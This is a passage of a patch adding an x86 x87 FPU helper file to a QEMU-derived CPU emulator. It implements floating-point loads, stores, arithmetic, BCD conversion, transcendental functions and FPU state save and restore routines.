distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include +#include "cpu.h" +#include "exec/helper-proto.h" +#include "qemu/aes.h" +#include "qemu/host-utils.h" +#include "exec/cpu_ldst.h" + +#define FPU_RC_MASK 0xc00 +#define FPU_RC_NEAR 0x000 +#define FPU_RC_DOWN 0x400 +#define FPU_RC_UP 0x800 +#define FPU_RC_CHOP 0xc00 + +#define MAXTAN 9223372036854775808.0 + +/* the following deal with x86 long double-precision numbers */ +#define MAXEXPD 0x7fff +#define EXPBIAS 16383 +#define EXPD(fp) (fp.l.upper & 0x7fff) +#define SIGND(fp) ((fp.l.upper) & 0x8000) +#define MANTD(fp) (fp.l.lower) +#define BIASEXPONENT(fp) fp.l.upper = (fp.l.upper & ~(0x7fff)) | EXPBIAS + +#define FPUS_IE (1 << 0) +#define FPUS_DE (1 << 1) +#define FPUS_ZE (1 << 2) +#define FPUS_OE (1 << 3) +#define FPUS_UE (1 << 4) +#define FPUS_PE (1 << 5) +#define FPUS_SF (1 << 6) +#define FPUS_SE (1 << 7) +#define FPUS_B (1 << 15) + +#define FPUC_EM 0x3f + +#define floatx80_lg2 make_floatx80(0x3ffd, 0x9a209a84fbcff799LL) +#define floatx80_l2e make_floatx80(0x3fff, 0xb8aa3b295c17f0bcLL) +#define floatx80_l2t make_floatx80(0x4000, 0xd49a784bcd1b8afeLL) + +static inline void fpush(CPUX86State *env) +{ + env->fpstt = (env->fpstt - 1) & 7; + env->fptags[env->fpstt] = 0; /* validate stack entry */ +} + +static inline void fpop(CPUX86State *env) +{ + env->fptags[env->fpstt] = 1; /* invalidate stack entry */ + env->fpstt = (env->fpstt + 1) & 7; +} + +static inline floatx80 helper_fldt(CPUX86State *env, target_ulong ptr) +{ + CPU_LDoubleU temp; + + temp.l.lower = cpu_ldq_data(env, ptr); + temp.l.upper = cpu_lduw_data(env, ptr + 8); + return temp.d; +} + +static inline void helper_fstt(CPUX86State *env, floatx80 f, target_ulong ptr) +{ + CPU_LDoubleU temp; + + temp.d = f; + cpu_stq_data(env, ptr, temp.l.lower); + cpu_stw_data(env, ptr + 8, temp.l.upper); +} + +/* x87 FPU helpers */ + +static inline double floatx80_to_double(CPUX86State *env, floatx80 a) +{ + union { + float64 f64; + double d; + } u; + + u.f64 = floatx80_to_float64(a, &env->fp_status); + return u.d; +} + +static inline floatx80 double_to_floatx80(CPUX86State *env, double a) +{ + union { + float64 f64; + double d; + } u; + + u.d = a; + return float64_to_floatx80(u.f64, &env->fp_status); +} + +static void fpu_set_exception(CPUX86State *env, int mask) +{ + env->fpus |= mask; + if (env->fpus & (~env->fpuc & FPUC_EM)) { + env->fpus |= FPUS_SE | FPUS_B; + } +} + +static inline floatx80 helper_fdiv(CPUX86State *env, floatx80 a, floatx80 b) +{ + if (floatx80_is_zero(b)) { + fpu_set_exception(env, FPUS_ZE); + } + return floatx80_div(a, b, &env->fp_status); +} + +static void fpu_raise_exception(CPUX86State *env) +{ + if (env->cr[0] & CR0_NE_MASK) { + raise_exception(env, EXCP10_COPR); + } +#if !defined(CONFIG_USER_ONLY) + else { + cpu_set_ferr(env); + } +#endif +} + +void helper_flds_FT0(CPUX86State *env, uint32_t val) +{ + union { + float32 f; + uint32_t i; + } u; + + u.i = val; + FT0 = float32_to_floatx80(u.f, &env->fp_status); +} + +void helper_fldl_FT0(CPUX86State *env, uint64_t val) +{ + union { + float64 f; + uint64_t i; + } u; + + u.i = val; + FT0 = float64_to_floatx80(u.f, &env->fp_status); +} + +void helper_fildl_FT0(CPUX86State *env, int32_t val) +{ + FT0 = int32_to_floatx80(val, &env->fp_status); +} + +void helper_flds_ST0(CPUX86State *env, uint32_t val) +{ + int new_fpstt; + union { + float32 f; + uint32_t i; + } u; + + new_fpstt = (env->fpstt - 1) & 7; + u.i = val; + env->fpregs[new_fpstt].d = float32_to_floatx80(u.f, &env->fp_status); + env->fpstt = new_fpstt; + env->fptags[new_fpstt] = 0; /* validate stack entry */ +} + +void helper_fldl_ST0(CPUX86State *env, uint64_t val) +{ + int new_fpstt; + union { + float64 f; + uint64_t i; + } u; + + new_fpstt = (env->fpstt - 1) & 7; + u.i = val; + env->fpregs[new_fpstt].d = float64_to_floatx80(u.f, &env->fp_status); + env->fpstt = new_fpstt; + env->fptags[new_fpstt] = 0; /* validate stack entry */ +} + +void helper_fildl_ST0(CPUX86State *env, int32_t val) +{ + int new_fpstt; + + new_fpstt = (env->fpstt - 1) & 7; + env->fpregs[new_fpstt].d = int32_to_floatx80(val, &env->fp_status); + env->fpstt = new_fpstt; + env->fptags[new_fpstt] = 0; /* validate stack entry */ +} + +void helper_fildll_ST0(CPUX86State *env, int64_t val) +{ + int new_fpstt; + + new_fpstt = (env->fpstt - 1) & 7; + env->fpregs[new_fpstt].d = int64_to_floatx80(val, &env->fp_status); + env->fpstt = new_fpstt; + env->fptags[new_fpstt] = 0; /* validate stack entry */ +} + +uint32_t helper_fsts_ST0(CPUX86State *env) +{ + union { + float32 f; + uint32_t i; + } u; + + u.f = floatx80_to_float32(ST0, &env->fp_status); + return u.i; +} + +uint64_t helper_fstl_ST0(CPUX86State *env) +{ + union { + float64 f; + uint64_t i; + } u; + + u.f = floatx80_to_float64(ST0, &env->fp_status); + return u.i; +} + +int32_t helper_fist_ST0(CPUX86State *env) +{ + int32_t val; + + val = floatx80_to_int32(ST0, &env->fp_status); + if (val != (int16_t)val) { + val = -32768; + } + return val; +} + +int32_t helper_fistl_ST0(CPUX86State *env) +{ + int32_t val; + + val = floatx80_to_int32(ST0, &env->fp_status); + return val; +} + +int64_t helper_fistll_ST0(CPUX86State *env) +{ + int64_t val; + + val = floatx80_to_int64(ST0, &env->fp_status); + return val; +} + +int32_t helper_fistt_ST0(CPUX86State *env) +{ + int32_t val; + + val = floatx80_to_int32_round_to_zero(ST0, &env->fp_status); + if (val != (int16_t)val) { + val = -32768; + } + return val; +} + +int32_t helper_fisttl_ST0(CPUX86State *env) +{ + int32_t val; + + val = floatx80_to_int32_round_to_zero(ST0, &env->fp_status); + return val; +} + +int64_t helper_fisttll_ST0(CPUX86State *env) +{ + int64_t val; + + val = floatx80_to_int64_round_to_zero(ST0, &env->fp_status); + return val; +} + +void helper_fldt_ST0(CPUX86State *env, target_ulong ptr) +{ + int new_fpstt; + + new_fpstt = (env->fpstt - 1) & 7; + env->fpregs[new_fpstt].d = helper_fldt(env, ptr); + env->fpstt = new_fpstt; + env->fptags[new_fpstt] = 0; /* validate stack entry */ +} + +void helper_fstt_ST0(CPUX86State *env, target_ulong ptr) +{ + helper_fstt(env, ST0, ptr); +} + +void helper_fpush(CPUX86State *env) +{ + fpush(env); +} + +void helper_fpop(CPUX86State *env) +{ + fpop(env); +} + +void helper_fdecstp(CPUX86State *env) +{ + env->fpstt = (env->fpstt - 1) & 7; + env->fpus &= ~0x4700; +} + +void helper_fincstp(CPUX86State *env) +{ + env->fpstt = (env->fpstt + 1) & 7; + env->fpus &= ~0x4700; +} + +/* FPU move */ + +void helper_ffree_STN(CPUX86State *env, int st_index) +{ + env->fptags[(env->fpstt + st_index) & 7] = 1; +} + +void helper_fmov_ST0_FT0(CPUX86State *env) +{ + ST0 = FT0; +} + +void helper_fmov_FT0_STN(CPUX86State *env, int st_index) +{ + FT0 = ST(st_index); +} + +void helper_fmov_ST0_STN(CPUX86State *env, int st_index) +{ + ST0 = ST(st_index); +} + +void helper_fmov_STN_ST0(CPUX86State *env, int st_index) +{ + ST(st_index) = ST0; +} + +void helper_fxchg_ST0_STN(CPUX86State *env, int st_index) +{ + floatx80 tmp; + + tmp = ST(st_index); + ST(st_index) = ST0; + ST0 = tmp; +} + +/* FPU operations */ + +static const int fcom_ccval[4] = {0x0100, 0x4000, 0x0000, 0x4500}; + +void helper_fcom_ST0_FT0(CPUX86State *env) +{ + int ret; + + ret = floatx80_compare(ST0, FT0, &env->fp_status); + env->fpus = (env->fpus & ~0x4500) | fcom_ccval[ret + 1]; +} + +void helper_fucom_ST0_FT0(CPUX86State *env) +{ + int ret; + + ret = floatx80_compare_quiet(ST0, FT0, &env->fp_status); + env->fpus = (env->fpus & ~0x4500) | fcom_ccval[ret + 1]; +} + +static const int fcomi_ccval[4] = {CC_C, CC_Z, 0, CC_Z | CC_P | CC_C}; + +void helper_fcomi_ST0_FT0(CPUX86State *env) +{ + int eflags; + int ret; + + ret = floatx80_compare(ST0, FT0, &env->fp_status); + eflags = cpu_cc_compute_all(env, CC_OP); + eflags = (eflags & ~(CC_Z | CC_P | CC_C)) | fcomi_ccval[ret + 1]; + CC_SRC = eflags; +} + +void helper_fucomi_ST0_FT0(CPUX86State *env) +{ + int eflags; + int ret; + + ret = floatx80_compare_quiet(ST0, FT0, &env->fp_status); + eflags = cpu_cc_compute_all(env, CC_OP); + eflags = (eflags & ~(CC_Z | CC_P | CC_C)) | fcomi_ccval[ret + 1]; + CC_SRC = eflags; +} + +void helper_fadd_ST0_FT0(CPUX86State *env) +{ + ST0 = floatx80_add(ST0, FT0, &env->fp_status); +} + +void helper_fmul_ST0_FT0(CPUX86State *env) +{ + ST0 = floatx80_mul(ST0, FT0, &env->fp_status); +} + +void helper_fsub_ST0_FT0(CPUX86State *env) +{ + ST0 = floatx80_sub(ST0, FT0, &env->fp_status); +} + +void helper_fsubr_ST0_FT0(CPUX86State *env) +{ + ST0 = floatx80_sub(FT0, ST0, &env->fp_status); +} + +void helper_fdiv_ST0_FT0(CPUX86State *env) +{ + ST0 = helper_fdiv(env, ST0, FT0); +} + +void helper_fdivr_ST0_FT0(CPUX86State *env) +{ + ST0 = helper_fdiv(env, FT0, ST0); +} + +/* fp operations between STN and ST0 */ + +void helper_fadd_STN_ST0(CPUX86State *env, int st_index) +{ + ST(st_index) = floatx80_add(ST(st_index), ST0, &env->fp_status); +} + +void helper_fmul_STN_ST0(CPUX86State *env, int st_index) +{ + ST(st_index) = floatx80_mul(ST(st_index), ST0, &env->fp_status); +} + +void helper_fsub_STN_ST0(CPUX86State *env, int st_index) +{ + ST(st_index) = floatx80_sub(ST(st_index), ST0, &env->fp_status); +} + +void helper_fsubr_STN_ST0(CPUX86State *env, int st_index) +{ + ST(st_index) = floatx80_sub(ST0, ST(st_index), &env->fp_status); +} + +void helper_fdiv_STN_ST0(CPUX86State *env, int st_index) +{ + floatx80 *p; + + p = &ST(st_index); + *p = helper_fdiv(env, *p, ST0); +} + +void helper_fdivr_STN_ST0(CPUX86State *env, int st_index) +{ + floatx80 *p; + + p = &ST(st_index); + *p = helper_fdiv(env, ST0, *p); +} + +/* misc FPU operations */ +void helper_fchs_ST0(CPUX86State *env) +{ + ST0 = floatx80_chs(ST0); +} + +void helper_fabs_ST0(CPUX86State *env) +{ + ST0 = floatx80_abs(ST0); +} + +void helper_fld1_ST0(CPUX86State *env) +{ + //ST0 = floatx80_one; + floatx80 one = { 0x8000000000000000LL, 0x3fff }; + ST0 = one; +} + +void helper_fldl2t_ST0(CPUX86State *env) +{ + //ST0 = floatx80_l2t; + floatx80 l2t = { 0xd49a784bcd1b8afeLL, 0x4000 }; + ST0 = l2t; +} + +void helper_fldl2e_ST0(CPUX86State *env) +{ + //ST0 = floatx80_l2e; + floatx80 l2e = { 0xb8aa3b295c17f0bcLL, 0x3fff }; + ST0 = l2e; +} + +void helper_fldpi_ST0(CPUX86State *env) +{ + //ST0 = floatx80_pi; + floatx80 pi = { 0xc90fdaa22168c235LL, 0x4000 }; + ST0 = pi; +} + +void helper_fldlg2_ST0(CPUX86State *env) +{ + //ST0 = floatx80_lg2; + floatx80 lg2 = { 0x9a209a84fbcff799LL, 0x3ffd }; + ST0 = lg2; +} + +void helper_fldln2_ST0(CPUX86State *env) +{ + //ST0 = floatx80_ln2; + floatx80 ln2 = { 0xb17217f7d1cf79acLL, 0x3ffe }; + ST0 = ln2; +} + +void helper_fldz_ST0(CPUX86State *env) +{ + //ST0 = floatx80_zero; + floatx80 zero = { 0x0000000000000000LL, 0x0000 }; + ST0 = zero; +} + +void helper_fldz_FT0(CPUX86State *env) +{ + //FT0 = floatx80_zero; + floatx80 zero = { 0x0000000000000000LL, 0x0000 }; + ST0 = zero; +} + +uint32_t helper_fnstsw(CPUX86State *env) +{ + return (env->fpus & ~0x3800) | (env->fpstt & 0x7) << 11; +} + +uint32_t helper_fnstcw(CPUX86State *env) +{ + return env->fpuc; +} + +void update_fp_status(CPUX86State *env) +{ + int rnd_type; + + /* set rounding mode */ + switch (env->fpuc & FPU_RC_MASK) { + default: + case FPU_RC_NEAR: + rnd_type = float_round_nearest_even; + break; + case FPU_RC_DOWN: + rnd_type = float_round_down; + break; + case FPU_RC_UP: + rnd_type = float_round_up; + break; + case FPU_RC_CHOP: + rnd_type = float_round_to_zero; + break; + } + set_float_rounding_mode(rnd_type, &env->fp_status); + switch ((env->fpuc >> 8) & 3) { + case 0: + rnd_type = 32; + break; + case 2: + rnd_type = 64; + break; + case 3: + default: + rnd_type = 80; + break; + } + set_floatx80_rounding_precision(rnd_type, &env->fp_status); +} + +void helper_fldcw(CPUX86State *env, uint32_t val) +{ + cpu_set_fpuc(env, val); +} + +void helper_fclex(CPUX86State *env) +{ + env->fpus &= 0x7f00; +} + +void helper_fwait(CPUX86State *env) +{ + if (env->fpus & FPUS_SE) { + fpu_raise_exception(env); + } +} + +void helper_fninit(CPUX86State *env) +{ + env->fpus = 0; + env->fpstt = 0; + cpu_set_fpuc(env, 0x37f); + env->fptags[0] = 1; + env->fptags[1] = 1; + env->fptags[2] = 1; + env->fptags[3] = 1; + env->fptags[4] = 1; + env->fptags[5] = 1; + env->fptags[6] = 1; + env->fptags[7] = 1; +} + +/* BCD ops */ + +void helper_fbld_ST0(CPUX86State *env, target_ulong ptr) +{ + floatx80 tmp; + uint64_t val; + unsigned int v; + int i; + + val = 0; + for (i = 8; i >= 0; i--) { + v = cpu_ldub_data(env, ptr + i); + val = (val * 100) + ((v >> 4) * 10) + (v & 0xf); + } + tmp = int64_to_floatx80(val, &env->fp_status); + if (cpu_ldub_data(env, ptr + 9) & 0x80) { + floatx80_chs(tmp); + } + fpush(env); + ST0 = tmp; +} + +void helper_fbst_ST0(CPUX86State *env, target_ulong ptr) +{ + int v; + target_ulong mem_ref, mem_end; + int64_t val; + + val = floatx80_to_int64(ST0, &env->fp_status); + mem_ref = ptr; + mem_end = mem_ref + 9; + if (val < 0) { + cpu_stb_data(env, mem_end, 0x80); + if (val != 0x8000000000000000LL) { + val = -val; + } + } else { + cpu_stb_data(env, mem_end, 0x00); + } + while (mem_ref < mem_end) { + if (val == 0) { + break; + } + v = val % 100; + val = val / 100; + v = (int)((unsigned int)(v / 10) << 4) | (v % 10); + cpu_stb_data(env, mem_ref++, v); + } + while (mem_ref < mem_end) { + cpu_stb_data(env, mem_ref++, 0); + } +} + +void helper_f2xm1(CPUX86State *env) +{ + double val = floatx80_to_double(env, ST0); + + val = pow(2.0, val) - 1.0; + ST0 = double_to_floatx80(env, val); +} + +void helper_fyl2x(CPUX86State *env) +{ + double fptemp = floatx80_to_double(env, ST0); + + if (fptemp > 0.0) { + fptemp = log(fptemp) / log(2.0); /* log2(ST) */ + fptemp *= floatx80_to_double(env, ST1); + ST1 = double_to_floatx80(env, fptemp); + fpop(env); + } else { + env->fpus &= ~0x4700; + env->fpus |= 0x400; + } +} + +void helper_fptan(CPUX86State *env) +{ + double fptemp = floatx80_to_double(env, ST0); + + if ((fptemp > MAXTAN) || (fptemp < -MAXTAN)) { + env->fpus |= 0x400; + } else { + floatx80 one = { 0x8000000000000000LL, 0x3fff }; + fptemp = tan(fptemp); + ST0 = double_to_floatx80(env, fptemp); + fpush(env); + ST0 = one; + env->fpus &= ~0x400; /* C2 <-- 0 */ + /* the above code is for |arg| < 2**52 only */ + } +} + +void helper_fpatan(CPUX86State *env) +{ + double fptemp, fpsrcop; + + fpsrcop = floatx80_to_double(env, ST1); + fptemp = floatx80_to_double(env, ST0); + ST1 = double_to_floatx80(env, atan2(fpsrcop, fptemp)); + fpop(env); +} + +void helper_fxtract(CPUX86State *env) +{ + CPU_LDoubleU temp; + + temp.d = ST0; + + if (floatx80_is_zero(ST0)) { + /* Easy way to generate -inf and raising division by 0 exception */ + floatx80 zero = { 0x0000000000000000LL, 0x0000 }; + floatx80 one = { 0x8000000000000000LL, 0x3fff }; + ST0 = floatx80_div(floatx80_chs(one), zero, + &env->fp_status); + fpush(env); + ST0 = temp.d; + } else { + int expdif; + + expdif = EXPD(temp) - EXPBIAS; + /* DP exponent bias */ + ST0 = int32_to_floatx80(expdif, &env->fp_status); + fpush(env); + BIASEXPONENT(temp); + ST0 = temp.d; + } +} + +void helper_fprem1(CPUX86State *env) +{ + double st0, st1, dblq, fpsrcop, fptemp; + CPU_LDoubleU fpsrcop1, fptemp1; + int expdif; + signed long long int q; + + st0 = floatx80_to_double(env, ST0); + st1 = floatx80_to_double(env, ST1); + + if (isinf(st0) || isnan(st0) || isnan(st1) || (st1 == 0.0)) { + ST0 = double_to_floatx80(env, NAN); /* NaN */ + env->fpus &= ~0x4700; /* (C3,C2,C1,C0) <-- 0000 */ + return; + } + + fpsrcop = st0; + fptemp = st1; + fpsrcop1.d = ST0; + fptemp1.d = ST1; + expdif = EXPD(fpsrcop1) - EXPD(fptemp1); + + if (expdif < 0) { + /* optimisation? taken from the AMD docs */ + env->fpus &= ~0x4700; /* (C3,C2,C1,C0) <-- 0000 */ + /* ST0 is unchanged */ + return; + } + + if (expdif < 53) { + dblq = fpsrcop / fptemp; + /* round dblq towards nearest integer */ + dblq = rint(dblq); + st0 = fpsrcop - fptemp * dblq; + + /* convert dblq to q by truncating towards zero */ + if (dblq < 0.0) { + q = (signed long long int)(-dblq); + } else { + q = (signed long long int)dblq; + } + + env->fpus &= ~0x4700; /* (C3,C2,C1,C0) <-- 0000 */ + /* (C0,C3,C1) <-- (q2,q1,q0) */ + env->fpus |= (q & 0x4) << (8 - 2); /* (C0) <-- q2 */ + env->fpus |= (q & 0x2) << (14 - 1); /* (C3) <-- q1 */ + env->fpus |= (q & 0x1) << (9 - 0); /* (C1) <-- q0 */ + } else { + env->fpus |= 0x400; /* C2 <-- 1 */ + fptemp = pow(2.0, expdif - 50); + fpsrcop = (st0 / st1) / fptemp; + /* fpsrcop = integer obtained by chopping */ + fpsrcop = (fpsrcop < 0.0) ? + -(floor(fabs(fpsrcop))) : floor(fpsrcop); + st0 -= (st1 * fpsrcop * fptemp); + } + ST0 = double_to_floatx80(env, st0); +} + +void helper_fprem(CPUX86State *env) +{ + double st0, st1, dblq, fpsrcop, fptemp; + CPU_LDoubleU fpsrcop1, fptemp1; + int expdif; + signed long long int q; + + st0 = floatx80_to_double(env, ST0); + st1 = floatx80_to_double(env, ST1); + + if (isinf(st0) || isnan(st0) || isnan(st1) || (st1 == 0.0)) { + ST0 = double_to_floatx80(env, NAN); /* NaN */ + env->fpus &= ~0x4700; /* (C3,C2,C1,C0) <-- 0000 */ + return; + } + + fpsrcop = st0; + fptemp = st1; + fpsrcop1.d = ST0; + fptemp1.d = ST1; + expdif = EXPD(fpsrcop1) - EXPD(fptemp1); + + if (expdif < 0) { + /* optimisation? taken from the AMD docs */ + env->fpus &= ~0x4700; /* (C3,C2,C1,C0) <-- 0000 */ + /* ST0 is unchanged */ + return; + } + + if (expdif < 53) { + dblq = fpsrcop / fptemp; /* ST0 / ST1 */ + /* round dblq towards zero */ + dblq = (dblq < 0.0) ? ceil(dblq) : floor(dblq); + st0 = fpsrcop - fptemp * dblq; /* fpsrcop is ST0 */ + + /* convert dblq to q by truncating towards zero */ + if (dblq < 0.0) { + q = (signed long long int)(-dblq); + } else { + q = (signed long long int)dblq; + } + + env->fpus &= ~0x4700; /* (C3,C2,C1,C0) <-- 0000 */ + /* (C0,C3,C1) <-- (q2,q1,q0) */ + env->fpus |= (q & 0x4) << (8 - 2); /* (C0) <-- q2 */ + env->fpus |= (q & 0x2) << (14 - 1); /* (C3) <-- q1 */ + env->fpus |= (q & 0x1) << (9 - 0); /* (C1) <-- q0 */ + } else { + int N = 32 + (expdif % 32); /* as per AMD docs */ + + env->fpus |= 0x400; /* C2 <-- 1 */ + fptemp = pow(2.0, (double)(expdif - N)); + fpsrcop = (st0 / st1) / fptemp; + /* fpsrcop = integer obtained by chopping */ + fpsrcop = (fpsrcop < 0.0) ? + -(floor(fabs(fpsrcop))) : floor(fpsrcop); + st0 -= (st1 * fpsrcop * fptemp); + } + ST0 = double_to_floatx80(env, st0); +} + +void helper_fyl2xp1(CPUX86State *env) +{ + double fptemp = floatx80_to_double(env, ST0); + + if ((fptemp + 1.0) > 0.0) { + fptemp = log(fptemp + 1.0) / log(2.0); /* log2(ST + 1.0) */ + fptemp *= floatx80_to_double(env, ST1); + ST1 = double_to_floatx80(env, fptemp); + fpop(env); + } else { + env->fpus &= ~0x4700; + env->fpus |= 0x400; + } +} + +void helper_fsqrt(CPUX86State *env) +{ + if (floatx80_is_neg(ST0)) { + env->fpus &= ~0x4700; /* (C3,C2,C1,C0) <-- 0000 */ + env->fpus |= 0x400; + } + ST0 = floatx80_sqrt(ST0, &env->fp_status); +} + +void helper_fsincos(CPUX86State *env) +{ + double fptemp = floatx80_to_double(env, ST0); + + if ((fptemp > MAXTAN) || (fptemp < -MAXTAN)) { + env->fpus |= 0x400; + } else { + ST0 = double_to_floatx80(env, sin(fptemp)); + fpush(env); + ST0 = double_to_floatx80(env, cos(fptemp)); + env->fpus &= ~0x400; /* C2 <-- 0 */ + /* the above code is for |arg| < 2**63 only */ + } +} + +void helper_frndint(CPUX86State *env) +{ + ST0 = floatx80_round_to_int(ST0, &env->fp_status); +} + +void helper_fscale(CPUX86State *env) +{ + if (floatx80_is_any_nan(ST1)) { + ST0 = ST1; + } else { + int n = floatx80_to_int32_round_to_zero(ST1, &env->fp_status); + ST0 = floatx80_scalbn(ST0, n, &env->fp_status); + } +} + +void helper_fsin(CPUX86State *env) +{ + double fptemp = floatx80_to_double(env, ST0); + + if ((fptemp > MAXTAN) || (fptemp < -MAXTAN)) { + env->fpus |= 0x400; + } else { + ST0 = double_to_floatx80(env, sin(fptemp)); + env->fpus &= ~0x400; /* C2 <-- 0 */ + /* the above code is for |arg| < 2**53 only */ + } +} + +void helper_fcos(CPUX86State *env) +{ + double fptemp = floatx80_to_double(env, ST0); + + if ((fptemp > MAXTAN) || (fptemp < -MAXTAN)) { + env->fpus |= 0x400; + } else { + ST0 = double_to_floatx80(env, cos(fptemp)); + env->fpus &= ~0x400; /* C2 <-- 0 */ + /* the above code is for |arg| < 2**63 only */ + } +} + +void helper_fxam_ST0(CPUX86State *env) +{ + CPU_LDoubleU temp; + int expdif; + + temp.d = ST0; + + env->fpus &= ~0x4700; /* (C3,C2,C1,C0) <-- 0000 */ + if (SIGND(temp)) { + env->fpus |= 0x200; /* C1 <-- 1 */ + } + + /* XXX: test fptags too */ + expdif = EXPD(temp); + if (expdif == MAXEXPD) { + if (MANTD(temp) == 0x8000000000000000ULL) { + env->fpus |= 0x500; /* Infinity */ + } else { + env->fpus |= 0x100; /* NaN */ + } + } else if (expdif == 0) { + if (MANTD(temp) == 0) { + env->fpus |= 0x4000; /* Zero */ + } else { + env->fpus |= 0x4400; /* Denormal */ + } + } else { + env->fpus |= 0x400; + } +} + +void helper_fstenv(CPUX86State *env, target_ulong ptr, int data32) +{ + int fpus, fptag, exp, i; + uint64_t mant; + CPU_LDoubleU tmp; + + fpus = (env->fpus & ~0x3800) | (env->fpstt & 0x7) << 11; + fptag = 0; + for (i = 7; i >= 0; i--) { + fptag <<= 2; + if (env->fptags[i]) { + fptag |= 3; + } else { + tmp.d = env->fpregs[i].d; + exp = EXPD(tmp); + mant = MANTD(tmp); + if (exp == 0 && mant == 0) { + /* zero */ + fptag |= 1; + } else if (exp == 0 || exp == MAXEXPD + || (mant & (1ULL << 63)) == 0) { + /* NaNs, infinity, denormal */ + fptag |= 2; + } + } + } + + if (data32) { + /* 32 bit */ + cpu_stl_data(env, ptr, env->fpuc); + cpu_stl_data(env, ptr + 4, fpus); + cpu_stl_data(env, ptr + 8, fptag); + cpu_stl_data(env, ptr + 12, (uint32_t)env->fpip); /* fpip */ + cpu_stl_data(env, ptr + 16, 0); /* fpcs */ + cpu_stl_data(env, ptr + 20, 0); /* fpoo */ + cpu_stl_data(env, ptr + 24, 0); /* fpos */ + } else { + /* 16 bit */ + cpu_stw_data(env, ptr, env->fpuc); + cpu_stw_data(env, ptr + 2, fpus); + cpu_stw_data(env, ptr + 4, fptag); + cpu_stw_data(env, ptr + 6, (uint32_t)env->fpip); + cpu_stw_data(env, ptr + 8, 0); + cpu_stw_data(env, ptr + 10, 0); + cpu_stw_data(env, ptr + 12, 0); + } + +} + +void helper_fldenv(CPUX86State *env, target_ulong ptr, int data32) +{ + int i, fpus, fptag; + + if (data32) { + cpu_set_fpuc(env, cpu_lduw_data(env, ptr)); + fpus = cpu_lduw_data(env, ptr + 4); + fptag = cpu_lduw_data(env, ptr + 8); + } else { + cpu_set_fpuc(env, cpu_lduw_data(env, ptr)); + fpus = cpu_lduw_data(env, ptr + 2); + fptag = cpu_lduw_data(env, ptr + 4); + } + env->fpstt = (fpus >> 11) & 7; + env->fpus = fpus & ~0x3800; + for (i = 0; i < 8; i++) { + env->fptags[i] = ((fptag & 3) == 3); + fptag >>= 2; + } +} + +void helper_fsave(CPUX86State *env, target_ulong ptr, int data32) +{ + floatx80 tmp; + int i; + + helper_fstenv(env, ptr, data32); + + ptr += (14 << data32); + for (i = 0; i < 8; i++) { + tmp = ST(i); + helper_fstt(env, tmp, ptr); + ptr += 10; + } + + /* fninit */ + env->fpus = 0; + env->fpstt = 0; + cpu_set_fpuc(env, 0x37f); + env->fptags[0] = 1; + env->fptags[1] = 1; + env->fptags[2] = 1; + env->fptags[3] = 1; + env->fptags[4] = 1; + env->fptags[5] = 1; + env->fptags[6] = 1; + env->fptags[7] = 1; +} + +void helper_frstor(CPUX86State *env, target_ulong ptr, int data32) +{ + floatx80 tmp; + int i; + + helper_fldenv(env, ptr, data32); + ptr += (14 << data32); + + for (i = 0; i < 8; i++) { + tmp = helper_fldt(env, ptr); + ST(i) = tmp; + ptr += 10; + } +} + +#if defined(CONFIG_USER_ONLY) +void cpu_x86_fsave(CPUX86State *env, target_ulong ptr, int data32) +{ + helper_fsave(env, ptr, data32); +} + +void cpu_x86_frstor(CPUX86State *env, target_ulong ptr, int data32) +{ + helper_frstor(env, ptr, data32); +} +#endif + +void helper_fxsave(CPUX86State *env, target_ulong ptr, int data64) +{ + int fpus, fptag, i, nb_xmm_regs; + floatx80 tmp; + target_ulong addr; + + /* The operand must be 16 byte aligned */ + if (ptr & 0xf) { + raise_exception(env, EXCP0D_GPF); + } + + fpus = (env->fpus & ~0x3800) | (env->fpstt & 0x7) << 11; + fptag = 0; + for (i = 0; i < 8; i++) { + fptag |= (env->fptags[i] << i); + } + cpu_stw_data(env, ptr, env->fpuc); + cpu_stw_data(env, ptr + 2, fpus); + cpu_stw_data(env, ptr + 4, fptag ^ 0xff); +#ifdef TARGET_X86_64 + if (data64) { + cpu_stq_data(env, ptr + 0x08, 0); /* rip */ + cpu_stq_data(env, ptr + 0x10, 0); /* rdp */ + } else +#endif + { + cpu_stl_data(env, ptr + 0x08, 0); /* eip */ + cpu_stl_data(env, ptr + 0x0c, 0); /* sel */ + cpu_stl_data(env, ptr + 0x10, 0); /* dp */ + cpu_stl_data(env, ptr + 0x14, 0); /* sel */ + } + + addr = ptr + 0x20; + for (i = 0; i < 8; i++) { + tmp = ST(i); + helper_fstt(env, tmp, addr); + addr += 16; + } + + if (env->cr[4] & CR4_OSFXSR_MASK) { + /* XXX: finish it */ + cpu_stl_data(env, ptr + 0x18, env->mxcsr); /* mxcsr */ + cpu_stl_data(env, ptr + 0x1c, 0x0000ffff); /* mxcsr_mask */ + if (env->hflags & HF_CS64_MASK) { + nb_xmm_regs = 16; + } else { + nb_xmm_regs = 8; + } + addr = ptr + 0xa0; + /* Fast FXSAVE leaves out the XMM registers */ + if (!(env->efer & MSR_EFER_FFXSR) + || (env->hflags & HF_CPL_MASK) + || !(env->hflags & HF_LMA_MASK)) { + for (i = 0; i < nb_xmm_regs; i++) { + cpu_stq_data(env, addr, env->xmm_regs[i].XMM_Q(0)); + cpu_stq_data(env, addr + 8, env->xmm_regs[i].XMM_Q(1)); + addr += 16; + } + } + } +} + +void helper_fxrstor(CPUX86State *env, target_ulong ptr, int data64) +{ + int i, fpus, fptag, nb_xmm_regs; + floatx80 tmp; + target_ulong addr; + + /* The operand must be 16 byte aligned */ + if (ptr & 0xf) { + raise_exception(env, EXCP0D_GPF); + } + + cpu_set_fpuc(env, cpu_lduw_data(env, ptr)); + fpus = cpu_lduw_data(env, ptr + 2); + fptag = cpu_lduw_data(env, ptr + 4); + env->fpstt = (fpus >> 11) & 7; + env->fpus = fpus & ~0x3800; + fptag ^= 0xff; + for (i = 0; i < 8; i++) { + env->fptags[i] = ((fptag >> i) & 1); + } + + addr = ptr + 0x20; + for (i = 0; i < 8; i++) { + tmp = helper_fldt(env, addr); + ST(i) = tmp; + addr += 16; + } + + if (env->cr[4] & CR4_OSFXSR_MASK) { + /* XXX: finish it */ + cpu_set_mxcsr(env, cpu_ldl_data(env, ptr + 0x18)); + /* cpu_ldl_data(env, ptr + 0x1c); */ + if (env->hflags & HF_CS64_MASK) { + nb_xmm_regs = 16; + } else { + nb_xmm_regs = 8; + } + addr = ptr + 0xa0; + /* Fast FXRESTORE leaves out the XMM registers */ + if (!(env->efer & MSR_EFER_FFXSR) 